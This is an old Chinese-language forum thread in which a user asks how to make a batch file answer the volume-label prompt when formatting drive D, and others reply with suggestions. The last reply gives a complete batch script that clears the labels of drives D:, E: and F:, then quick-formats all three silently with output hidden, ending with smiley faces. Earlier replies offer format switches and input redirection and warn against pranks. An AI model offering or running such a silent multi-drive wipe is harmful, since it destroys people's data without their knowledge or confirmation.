|
![]() | 作者: jaychou [jaychou]
![]() |
登录 |
假设现在我要格式化D盘,D盘的盘标(就是在D盘前面的字符)为abc,如果用format格式化会要我输入盘标,输入正确后则开始格式化。现在我想编写一个BAT文件:format d:(回车)abc(回车)y(回车),但是不能格式化,在dos窗口下运行时发现,当完成bat文件的内容时系统要我输入盘标,等于系统只完成了第一行的内容,这是怎么回事? |
地主 发表时间: 05-02-14 02:40 |
![]() | 回复: kert_t8 [kert_t8] ![]() |
登录 |
我晕了,后面的那叫参数,不是程序运行的时候输入的东西都可以当做参数的! 还有,你说的abc叫卷标(label) 最后,你试试 format d: /y 或者是 format d: /t 不过要提醒你,这个操作会不加提示格式化硬盘,小心使用,还有,我没有试过,不成功也不要怪我 ![]() Warning:不要拿去整人,整人的人往往被人整 |
B1层 发表时间: 05-02-14 09:15 |
![]() | 回复: lida1818 [lida1818] ![]() |
登录 |
假定 a.bat内容 format c: 再写一个 b.txt内容 abc y (这里一定要和正常format时输入的一样) 然后在dos下执行 a.bat < b.txt 不知道行不?我可不试^_^ |
B2层 发表时间: 05-02-15 20:27 |
![]() | 回复: kert_t8 [kert_t8] ![]() |
登录 |
估计不行。我也不敢试![]() jaychou,试验完了麻烦把结果告诉我们 ![]() |
B3层 发表时间: 05-02-16 01:33 |
![]() | 回复: deathmask [deathmask] ![]() |
登录 |
rem 保存为 随便什么名字.bat @echo off echo.>>a.bat echo y>>a.bat for %%a in (d: e: f:) do type a.bat|label %%a>nul for %%a in (d: e: f:) do echo y|format %%a /x /q>nul echo :) :) :) echo 请按任意键结束~~~:) pause>nul del a.bat 2>nul exit [此贴被 deathmask(deathmask) 在 02月19日00时04分 编辑过] |
B4层 发表时间: 05-02-18 23:08 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号